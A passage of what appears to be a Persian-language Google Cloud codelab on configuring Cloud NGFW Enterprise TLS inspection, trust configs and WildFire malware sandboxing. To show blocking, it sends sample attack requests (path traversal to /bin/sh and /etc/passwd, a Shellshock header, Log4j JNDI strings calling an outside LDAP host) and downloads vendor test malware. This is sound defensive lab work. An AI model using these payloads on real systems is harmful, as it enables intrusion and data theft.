curl https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2

curl https://www.eicar.org/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2

curl https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://www.eicar.org --max-time 2

طبق خروجی موردانتظار زیر، هیچ پاسخی دریافت نمی‌شود که تأیید می‌کند حملات نمونه اکنون مسدود شده‌اند:

curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104

متغیر را روی IP سرور قبلی تنظیم کنید:

export target_privateip=[INTERNAL_IP_OF_WWW_SERVER]

ارسال درخواست‌های نمونه TLS به سرور:

curl https://$target_privateip --max-time 2

خروجی موردانتظار:

curl: (60) SSL certificate problem: self signed certificate
More details here: https://curl.se/docs/sslcerts.html

curl failed to verify the legitimacy of the server and therefore could not
establish a secure connection to it. To learn more about this situation and
how to fix it, please visit the web page mentioned above.

چرا این درخواست ناموفق بود؟ دلیل این امر این است که «دیوار آتش» گواهینامه‌ای از سرور دریافت می‌کند که قابل‌اعتماد نیست. اگر این اتفاق بیفتد، گواهینامه خودامضاشده‌ای را به کارخواه برمی‌گرداند. باید گواهینامه CA را به‌عنوان بخشی از پیکربندی اعتماد اضافه کنیم تا اعتماد فعال شود.

به پوسته ابری برگردید.

‫۱۱. پیکربندی کردن پیکربندی اعتماد

گواهینامه Root CA را دریافت کنید و آن را به‌عنوان متغیری با قالب‌بندی مناسب تنظیم کنید.

export NGFW_ROOT_CA=$(gcloud privateca roots describe $prefix-CA-Root --project=$project_id --pool=$prefix-CA-Pool --location=$region --format="value(pemCaCertificates)" | sed 's/^/      /')

فایل YAML مربوط به «پیکربندی اعتماد» را پیکربندی کنید. این فایل حاوی جزئیات اعتماد مانند گواهینامه‌های CA است:

cat > trust_config.yaml << EOF
name: "$prefix-trust-config"
trustStores:
- trustAnchors:
  - pemCertificate: |
${NGFW_ROOT_CA}
EOF

فرمان‌های بالا گواهینامه «مرجع صدور گواهی ریشه» شما را به‌عنوان بخشی از مخزن گواهی‌ها اضافه کرد زیرا گواهینامه سرور شما بااستفاده از «مرجع صدور گواهی ریشه» امضا شده بود. این یعنی دیواره آتش به هر گواهی‌ای که دریافت می‌کند و توسط «مرجع صدور گواهی ریشه» شما امضا شده است اعتماد خواهد کرد - علاوه‌بر «مرجع صدور گواهی عمومی» اگر خط‌مشی TLS شما excludePublicCaSet را روی نادرست تنظیم کرده باشد.

محتوای پیکربندی اعتماد را بررسی کنید.

cat trust_config.yaml 

نمونه برونداد:

به تراز تورفتگی گواهی دقت کنید. باید دقیقاً از این قالب پیروی کند.

name: "ngfw-enterprise-trust-config"
trustStores:
- trustAnchors:
  - pemCertificate: |
     -----BEGIN CERTIFICATE-----
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRS
      -----END CERTIFICATE-----

پیکربندی اعتماد را وارد کنید:

gcloud certificate-manager trust-configs import $prefix-trust-config --project=$project_id --location=$region --source=trust_config.yaml

فایل YAML مربوط به «خط‌مشی امنیت لایه انتقال» را به‌روز کنید تا پیکربندی اعتماد را دربرگیرد:

cat > tls_policy.yaml << EOF
description: Test tls inspection policy.
name: projects/$project_id/locations/$region/tlsInspectionPolicies/$prefix-tls-policy
caPool: projects/$project_id/locations/$region/caPools/$prefix-CA-Pool
excludePublicCaSet: false
minTlsVersion: TLS_1_1
tlsFeatureProfile: PROFILE_COMPATIBLE
trustConfig: projects/$project_id/locations/$region/trustConfigs/$prefix-trust-config
EOF

«خط‌مشی TLS» به‌روزشده را وارد کنید:

gcloud network-security tls-inspection-policies import $prefix-tls-policy --project=$project_id --location=$region --source=tls_policy.yaml

‫۱۲. درحال اعتبارسنجی بازرسی امنیت لایه انتقال E/W

برای آزمایش ترافیک E/W با پیکربندی اعتماد به‌روزشده، دوباره به کارخواه SSH کنید:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

درخواست نمونه TLS را به سرور اجرا کنید:

curl https://$target_privateip --max-time 2

اگر همچنان برونداد زیر را دریافت می‌کنید، لطفاً منتظر بمانید تا به‌روزرسانی‌ها منتشر شود.

curl: (60) SSL certificate problem: self signed certificate
More details here: https://curl.se/docs/sslcerts.html

curl failed to verify the legitimacy of the server and therefore could not
establish a secure connection to it. To learn more about this situation and
how to fix it, please visit the web page mentioned above.

خروجی موردانتظار:

Page on ngfw-enterprise-us-west1-b-www in network ngfw-enterprise-vpc zone $zone

ترافیک آزمایشی مخرب به سرور ارسال کنید:

curl https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2

curl https://$target_privateip/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2

curl https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://$target_privateip --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://$target_privateip --max-time 2

خروجی موردانتظار:

curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104

هیچ پاسخی مطابق با خروجی موردانتظار زیر دریافت نمی‌شود، که تأیید می‌کند حملات نمونه اکنون برای E/W مسدود می‌شوند.

‫۱۳. ثبت

ازطریق «کنسول Cloud»، به «ثبت گزارش > کاوشگر گزارش‌ها» بروید، فیلتر زیر را وارد کنید و گزارش‌ها را پُرسمان کنید. [PROJECT_ID] را با project_id خودتان جایگزین کنید:

logName="projects/[PROJECT_ID]/logs/networksecurity.googleapis.com%2Ffirewall_threat"

ورودی‌های گزارش Cloud NGFW Enterprise باید مشابه موارد زیر دیده شود:

5b68cc1063c0f4bd.png

ورودی‌های گزارش را ازهم باز کنید و توجه داشته باشید که حملات ارسال‌شده از ماشین مجازی کارخواه به سرور شناسایی و مسدود شده‌اند (آسیب‌پذیری اجرای کد از راه دور Apache Log4j مطابق با نماگرفت زیر).

478f18f8481e90ed.png

Cloud NGFW Enterprise را باموفقیت با «بازرسی امنیت لایه انتقال» برای مسدود کردن درخواست‌های مخرب مستقر کردید.

به بخش بعدی بروید تا به‌طور اختیاری جعبه امن بدافزار پیشرفته (WildFire) را پیکربندی و اعتبارسنجی کنید، یا از این مرحله رد شوید و به مراحل پاک‌سازی بروید.

‫۱۴. [اختیاری] پیکربندی جعبه شنی بدافزار پیشرفته (WildFire)

جعبه امن بدافزار پیشرفته (WildFire) با بازرسی فایل‌های درحال انتقال و ارسال فایل‌های ناشناخته به جعبه امن مبتنی بر ابر (با پشتیبانی Palo Alto Networks Advanced WildFire) برای تجزیه‌وتحلیل عمیق رفتاری، پیشگیری از تهدید Cloud NGFW Enterprise را گسترش می‌دهد.

پذیرفتن «قرارداد پروانه کاربر نهایی» (EULA) برای «جعبه شنی بدافزار پیشرفته»

قبل‌از فعال کردن جعبه امن بدافزار پیشرفته در نقطه پایانی دیواره آتش، باید «قرارداد صدور پروانه کاربر نهایی» (EULA) یک‌باره را در پروژه صورت‌حساب ($billing_project) مرور و قبول کنید. EULA را فقط می‌توان در «کنسول Google Cloud» قبول کرد: به امنیت شبکه > نقاط پایانی دیواره آتش بروید، نقطه پایانی $prefix-$zone را ویرایش کنید، فعال کردن جعبه امن بدافزار پیشرفته (WildFire) را در بخش پیکربندی پیشرفته انتخاب کنید، و روی موافقت و ادامه کلیک کنید.

فعال کردن «جعبه شنی بدافزار پیشرفته» در «نقطه پایانی دیواره آتش»

فعال کردن «جعبه شنی بدافزار پیشرفته» در نقطه پایانی دیوار آتشین $prefix-$zone موجود بااستفاده از gcloud network-security firewall-endpoints update:

gcloud network-security firewall-endpoints update $prefix-$zone \
  --zone=$zone \
  --organization $org_id \
  --billing-project=$billing_project \
  --enable-wildfire \
  --no-async

مطمئن شوید که «جعبه امن بدافزار پیشرفته» در نقطه پایانی دیواره آتش فعال باشد:

gcloud network-security firewall-endpoints describe $prefix-$zone \
  --organization $org_id \
  --zone $zone

برونداد موردانتظار (wildfireSettings: enabled: true و state: ACTIVE را درستی‌سنجی کنید):

associatedNetworks:
- projects/$project_number/global/networks/$prefix-vpc
associations:
- name: projects/$project_number/locations/$zone/firewallEndpointAssociations/$prefix-association
  network: projects/$project_number/global/networks/$prefix-vpc
billingProjectId: $billing_project
createTime: '2023-11-16T04:27:17.677731831Z'
endpointSettings:
  contentCloudRegion: US_CENTRAL
name: organizations/$org_id/locations/$zone/firewallEndpoints/$prefix-$zone
state: ACTIVE
updateTime: '2023-11-16T05:15:12.104829104Z'
wildfireSettings:
  enabled: true
  wildfireRegion: UNITED_STATES

ایجاد و پیکربندی WILDFIRE_ANALYSIS نمایه امنیتی

نمایه امنیتی «جعبه شنی بدافزار پیشرفته» (WILDFIRE_ANALYSIS) با نام $prefix-sp-wildfire ایجاد کنید:

gcloud network-security security-profiles wildfire-analysis \
  create $prefix-sp-wildfire \
  --organization $org_id \
  --location=global

خروجی موردانتظار:

Waiting for security-profile [organizations/$org_id/locations/global/securityProfiles/$prefix-sp-wildfire] to be created...done.

سپس، یک قانون ارسال ناهمگام اضافه کنید تا فایل‌های APK را در هر دو جهت بارگذاری و بارگیری ارسال کند (--direction=BOTH):

gcloud network-security security-profiles wildfire-analysis \
  add-submission-rule $prefix-sp-wildfire \
  --organization $org_id \
  --location=global \
  --file-types=APK \
  --direction=BOTH

خروجی موردانتظار:

Waiting for security-profile [organizations/$org_id/locations/global/securityProfiles/$prefix-sp-wildfire] to be updated...done.

نمایه امنیتی WILDFIRE_ANALYSIS پیکربندی‌شده را بررسی کنید:

gcloud network-security security-profiles wildfire-analysis \
  describe $prefix-sp-wildfire \
  --organization $org_id \
  --location=global

خروجی موردانتظار:

createTime: '2026-02-20T23:56:26.279556627Z'
etag: S5I9SG6PfLz9g9wDqESHaqVwguOWmZhtlxC6-6HNbv4
name: organizations/$org_id/locations/global/securityProfiles/$prefix-sp-wildfire
type: WILDFIRE_ANALYSIS
updateTime: '2026-02-20T23:56:33.791742652Z'
wildfireAnalysisProfile:
  wildfireInlineMlSetting: {}
  wildfireSubmissionRules:
  - customFileTypes:
      fileTypes:
      - APK
    direction: BOTH
    fileSelectionMode: CUSTOM_FILE_TYPES

به‌روزرسانی «گروه نمایه امنیتی» ($prefix-spg)

برای پیوست کردن $prefix-sp-wildfire، $prefix-spg را به‌روز کنید:

gcloud network-security security-profile-groups update $prefix-spg \
  --organization $org_id \
  --location=global \
  --wildfire-analysis-profile=organizations/$org_id/locations/global/securityProfiles/$prefix-sp-wildfire

خروجی موردانتظار:

Waiting for security-profile-group [organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg] to be updated...done.

چون «قانون خط‌مشی دیوار آتش» 900 (EGRESS ازطریق tcp:443 با --action=apply_security_profile_group و --tls-inspect) ازقبل به $prefix-spg ارجاع می‌دهد، بارگیری‌های فایل HTTPS رمزگذاری‌شده که از $prefix-$zone-client شروع شده‌اند به‌طور خودکار توسط بازرسی TLS رمزگشایی می‌شوند و توسط جعبه امن بدافزار پیشرفته بدون نیاز به هیچ‌گونه تغییر قانون خط‌مشی دیوار آتش ارزیابی می‌شوند.

‫۱۵. [اختیاری] اعتبارسنجی ارسال فایل و جرم‌شناسی جعبه شنی بدافزار پیشرفته

آزمایش ارسال جعبه شنی ناهمگام و فیلتر کردن نوع فایل

ازطریق Identity-Aware Proxy (IAP) به VM کارخواه ($prefix-$zone-client) متصل شوید:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

از VM کارخواه، فایل آزمایشی عمومی Palo Alto Networks APK را ازطریق HTTPS بارگیری کنید:

curl -o /tmp/wildfire-test.apk https://wildfire.paloaltonetworks.com/publicapi/test/apk --max-time 15

سپس، فایل آزمایشی عمومی Palo Alto Networks ELF را ازطریق HTTPS بارگیری کنید:

curl -o /tmp/wildfire-test.elf https://wildfire.paloaltonetworks.com/publicapi/test/elf --max-time 15

چون قانون ارسال ما در $prefix-sp-wildfire فقط فایل‌های APK (--file-types=APK) را هدف قرار می‌دهد، دیوار آتش فایل ELF را به جعبه امن بدافزار پیشرفته ارسال نمی‌کند.

از پایانه ماشین مجازی کارخواه خارج شوید و به Cloud Shell برگردید.

درستی‌سنجی WildfireSubmissionLog در Cloud Logging

ازطریق «کنسول Cloud»، به «ثبت گزارش» > «کاوشگر گزارش‌ها» بروید، فیلتر زیر را وارد کنید و گزارش‌ها را پُرسمان کنید. [PROJECT_ID] را با project_id خودتان جایگزین کنید:

logName="projects/[PROJECT_ID]/logs/networksecurity.googleapis.com%2Ffirewall_wildfire"

پس‌از تکمیل تجزیه‌وتحلیل جعبه شنی (معمولاً ظرف چند دقیقه)، ورودی WildfireSubmissionLog برای بارگیری فایل APK ظاهر می‌شود، درحالی‌که هیچ گزارش ارسالی برای بارگیری فایل ELF تولید نمی‌شود (اگر پس‌از چند دقیقه هیچ ورودی گزارشی ظاهر نشد، منتظر بمانید تا پنجره انتشار ۱۵ دقیقه‌ای «گروه نمایه امنیتی» تکمیل شود و بارگیری curl را دوباره اجرا کنید). ورودی گزارش را ازهم باز کنید و توجه داشته باشید که پایه‌بار JSON آن مشابه موارد زیر است:

{
  "insertId": "3xim62fg6n786",
  "jsonPayload": {
    "@type": "type.googleapis.com/google.cloud.networksecurity.logging.v1.WildfireSubmissionLog",
    "action": "ALLOW",
    "connection": {
      "clientIp": "10.0.0.2",
      "clientPort": 37142,
      "protocol": "tcp",
      "serverIp": "104.199.115.54",
      "serverPort": 443
    },
    "interceptInstance": {
      "projectId": "$project_id",
      "vm": "ngfw-enterprise-$zone-client"
    },
    "interceptVpc": {
      "projectId": "$project_id",
      "vpc": "ngfw-enterprise-vpc"
    },
    "securityProfileGroupDetails": {
      "organizationId": "$org_id",
      "securityProfileGroupId": "ngfw-enterprise-spg"
    },
    "wildfireDetails": {
      "detectionTime": "2026-10-16T20:29:44Z",
      "direction": "SERVER_TO_CLIENT",
      "file": "wildfire-test-apk-file.apk",
      "fileType": "APK",
      "hash": "A526BDAD9BD60C8A317184D3327C3A0C9DD522354D5DC5ED2B6A4633AA2C5007",
      "repeatCount": 1,
      "reportUri": "https://networksecurity.usercontent.google.com/organizations/$org_id/locations/$zone/firewallEndpoints/ngfw-enterprise-$zone/wildfireReports/A526BDAD9BD60C8A317184D3327C3A0C9DD522354D5DC5ED2B6A4633AA2C5007",
      "sampleUri": "https://networksecurity.usercontent.google.com/organizations/$org_id/locations/$zone/firewallEndpoints/ngfw-enterprise-$zone/wildfireSamples/A526BDAD9BD60C8A317184D3327C3A0C9DD522354D5DC5ED2B6A4633AA2C5007",
      "severity": "[SEVERITY]",
      "subtype": "WILDFIRE",
      "verdict": "[VERDICT]"
    }
  },
  "logName": "projects/$project_id/logs/networksecurity.googleapis.com%2Ffirewall_wildfire",
  "receiveTimestamp": "2026-10-16T20:29:57.880438600Z",
  "resource": {
    "labels": {
      "id": "ngfw-enterprise-$zone",
      "location": "$zone",
      "resource_container": "organizations/$org_id"
    },
    "type": "networksecurity.googleapis.com/FirewallEndpoint"
  },
  "timestamp": "2026-10-16T20:29:57.880438600Z"
}

به فیلدهای کلیدی در wildfireDetails توجه کنید:

  • fileType: "APK" و subtype: "WILDFIRE" تجزیه‌وتحلیل جعبه امن ناهمگام انتقال APK را تأیید می‌کنند.
  • file نام فایلی است که سرور (wildfire-test-apk-file.apk) ارائه کرده است و ممکن است با نام فایل محلی استفاده‌شده با curl -o متفاوت باشد.
  • hash خلاصه SHA-256 یکتای نمونه آزمایشی را شناسایی می‌کند.
  • ‫verdict و severity با تجزیه‌وتحلیل جعبه امن تعیین می‌شوند.
  • reportUri و sampleUri پیوندهای مستقیم برای بازیابی گزارش تحلیل پویا و نمونه ارسال‌شده ارائه می‌دهند.

مشاهده ارسال و بارگیری مصنوعات قانونی

ازطریق «کنسول Cloud» به «امنیت شبکه > گزارش‌های NGFW Enterprise > ارسال‌های جعبه امن بدافزار پیشرفته» بروید و پروژه‌تان را انتخاب کنید. روی ورودی wildfire-test-apk-file.apk کلیک کنید تا جزئیات ارسال، ازجمله درهم‌سازی SHA-256 فایل، حکم، و نقطه پایانی دیوار آتش را مشاهده کنید. از کنش‌های بیشتر برای ارسال، می‌توانید بارگیری گزارش تجزیه‌وتحلیل را برای بارگیری گزارش تجزیه‌وتحلیل پویای PDF، یا بارگیری نمونه بدافزار را برای بارگیری فایل ارسال‌شده انتخاب کنید.

می‌توانید گزارش تحلیل و نمونه را از Cloud Shell بااستفاده از مقادیر reportUri و sampleUri از ورودی WildfireSubmissionLog بارگیری کنید:

export report_uri="<REPORT_URI_FROM_LOG>"
export sample_uri="<SAMPLE_URI_FROM_LOG>"

curl -H "Authorization: Bearer $(gcloud auth print-access-token)" \
  "$report_uri" -o wildfire-report.pdf

curl -H "Authorization: Bearer $(gcloud auth print-access-token)" \
  "$sample_uri" -o wildfire-sample.bin

‫۱۶. مراحل پاک‌سازی

پاک‌سازی راه‌اندازی پایه

نمونه‌ها را بردارید:

gcloud -q compute instances delete $prefix-$zone-www --zone=$zone

gcloud -q compute instances delete $prefix-$zone-client --zone=$zone

اگر نقش‌های tagAdmin و tagUsers تغییر کرده‌اند، مراحل زیر را انجام دهید:

export user_id=$(gcloud auth list --format="value(account)")

gcloud organizations remove-iam-policy-binding $org_id \
  --member user:$user_id --role roles/resourcemanager.tagAdmin

gcloud organizations remove-iam-policy-binding $org_id \
  --member user:$user_id --role roles/resourcemanager.tagUser

کلید و مقادیر برچسب را بردارید:

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-client

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-server

gcloud -q resource-manager tags keys delete $project_id/$prefix-vpc-tags

«خط‌مشی شبکه دیوار آتش ابری» و ارتباط را بردارید:

gcloud -q compute network-firewall-policies associations delete \
     --firewall-policy $prefix-fwpolicy \
     --name $prefix-fwpolicy-association \
     --global-firewall-policy

gcloud -q compute network-firewall-policies delete $prefix-fwpolicy --global

Cloud Router و Cloud NAT را حذف کنید:

gcloud -q compute routers nats delete $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region

gcloud -q compute routers delete $prefix-cr --region=$region

حذف نشانی‌های IP رزروشده:

gcloud -q compute addresses delete $prefix-$region-cloudnatip --region=$region

پاک‌سازی TLS، انجمن، و SPG دیوار آتش ابری

«گروه نمایه امنیتی» و «نمایه‌های امنیتی» را به‌ترتیب زیر حذف کنید (اگر بخش اختیاری «جعبه امن بدافزار پیشرفته» را تکمیل کرده‌اید، فرمان حذف $prefix-sp-wildfire را نیز پس‌از حذف $prefix-spg اجرا کنید):

gcloud -q network-security security-profile-groups delete \
  $prefix-spg \
  --organization $org_id \
  --location=global

gcloud -q network-security security-profiles wildfire-analysis \
  delete $prefix-sp-wildfire \
  --organization $org_id \
  --location=global

gcloud -q network-security security-profiles threat-prevention \
  delete $prefix-sp-threat \
  --organization $org_id \
  --location=global

رابطه نقطه پایان Cloud Firewall را حذف کنید:

gcloud -q network-security firewall-endpoint-associations delete \
  $prefix-association --zone $zone

نقطه پایانی Cloud Firewall را حذف کنید، که ممکن است حدود ۲۰ دقیقه طول بکشد:

gcloud -q network-security firewall-endpoints delete $prefix-$zone --zone=$zone --organization $org_id

درصورت تمایل، با اجرای فرمان زیر تأیید کنید که نقطه پایانی Cloud NGFW حذف شده است:

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

وضعیت نقطه پایانی باید این‌طور نشان داده شود:

STATE: DELETING

وقتی تکمیل شد، نقطه پایانی دیگر فهرست نخواهد شد.

«خط‌مشی TLS» و «پیکربندی اعتماد» را به‌ترتیب زیر حذف کنید:

gcloud -q network-security tls-inspection-policies delete \
  $prefix-tls-policy \
  --location=$region

gcloud -q alpha certificate-manager trust-configs delete \
  $prefix-trust-config \
  --location=$region

غیرفعال و حذف کردن Root CA و CA Pool:

gcloud -q privateca roots disable $prefix-CA-Root \
  --location=$region \
  --pool=$prefix-CA-Pool \
  --ignore-dependent-resources 

gcloud -q privateca roots delete $prefix-CA-Root \
  --location=$region \
  --pool=$prefix-CA-Pool \
  --skip-grace-period \
  --ignore-active-certificates \
  --ignore-dependent-resources

gcloud -q privateca pools delete $prefix-CA-Pool \
  --location=$region \
  --ignore-dependent-resources

پاک‌سازی زیرشبکه و VPC

درنهایت، زیرشبکه و شبکه VPC را حذف کنید:

gcloud -q compute networks subnets delete $prefix-$region-subnet --region $region

gcloud -q compute networks delete $prefix-vpc

‫۱۷. تبریک!

تبریک می‌گوییم، codelab مربوط به Cloud NGFW Enterprise برای بازرسی امنیت لایه انتقال شرق-غرب و شمال را باموفقیت تکمیل کردید.